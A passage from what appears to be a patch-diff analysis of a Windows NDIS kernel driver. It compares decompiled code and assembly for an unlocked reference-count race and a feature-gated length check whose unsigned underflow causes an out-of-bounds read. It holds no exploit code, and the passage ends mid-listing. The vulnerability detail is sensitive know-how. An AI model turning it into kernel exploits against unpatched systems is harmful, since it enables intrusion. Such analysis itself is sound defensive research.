&lt;p&gt;The difference between the unsafe and safe reference helpers used in Findings 1 and 2.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNSAFE HELPER: ndisMReferenceOpen @ 0x140059890 ---&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;ndisMReferenceOpen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x258&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// *** no re-check of *(openblock+0xe4) ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NdisReferenceWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x250&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;-- always increments&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x258&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- SAFE HELPER: ndisMTryReferenceOpen @ 0x1400a0b60 ---&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;ndisMTryReferenceOpen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x258&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe4&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;-- check INSIDE +0x258 lock&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;NdisReferenceWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x250&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openblock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x258&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;&lt;code&gt;ndisIfAliasChange&lt;/code&gt; (Finding 3)&lt;/h4&gt;
&lt;p&gt;The length check is gated off in the unpatched build and unconditional in the patched build.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED ndisIfAliasChange @ 0x1400CFE18 ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ndisNDPQualityWinter25IsEnabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ndisDeviceStr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fail&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                         &lt;/span&gt;&lt;span class="c1"&gt;// only checked when feature ON&lt;/span&gt;
&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ndisDeviceStr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// USHORT subtraction, underflows if unchecked&lt;/span&gt;
&lt;span class="n"&gt;GuidString&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ndisDeviceStr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="n"&gt;GuidString&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;GuidString&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;RtlGUIDFromString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;GuidString&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Guid&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// OOB read when v7 underflowed&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED ndisIfAliasChange @ 0x1400CFB48 ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ndisDeviceStr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fail&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                         &lt;/span&gt;&lt;span class="c1"&gt;// always enforced&lt;/span&gt;
&lt;span class="n"&gt;GuidString&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ndisDeviceStr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;GuidString&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ndisDeviceStr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;GuidString&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ndisDeviceStr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="n"&gt;RtlGUIDFromString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;GuidString&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Guid&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h3&gt;4. Assembly Analysis&lt;/h3&gt;
&lt;h4&gt;&lt;code&gt;ndisReferenceOpenByHandle&lt;/code&gt; (Unpatched, &lt;code&gt;0x1400119A0&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;The feature-off path reads &lt;code&gt;openblock+0xe4&lt;/code&gt; before entering the blind increment helper.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A08&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ndisGlobalOpenListLock&lt;/span&gt;
&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A3E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;E8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;per&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="kr"&gt;open&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;
&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A4A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeAcquireSpinLockAtDpcLevel&lt;/span&gt;
&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A56&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Feature_NDPQualityWinter25__private_IsEnabledDeviceUsageNoInline&lt;/span&gt;
&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A5B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A5D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;E0h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A63&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_140011A85&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;ON&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;safe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;
&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A65&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;bt&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Fh&lt;/span&gt;
&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A69&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_140011A9A&lt;/span&gt;
&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A6B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;E4h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WITHOUT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x258&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;
&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A72&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_140011A9A&lt;/span&gt;
&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A74&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bpl&lt;/span&gt;
&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A78&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;
&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A7B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="n"&gt;ndisMReferenceOpen&lt;/span&gt;&lt;span class="err"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;YAXPEAU_NDIS_OPEN_BLOCK&lt;/span&gt;&lt;span class="err"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;W4_NDIS_OPEN_REFTAG&lt;/span&gt;&lt;span class="err"&gt;@@@&lt;/span&gt;&lt;span class="n"&gt;Z&lt;/span&gt;
&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A80&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;
&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A83&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_140011A9A&lt;/span&gt;
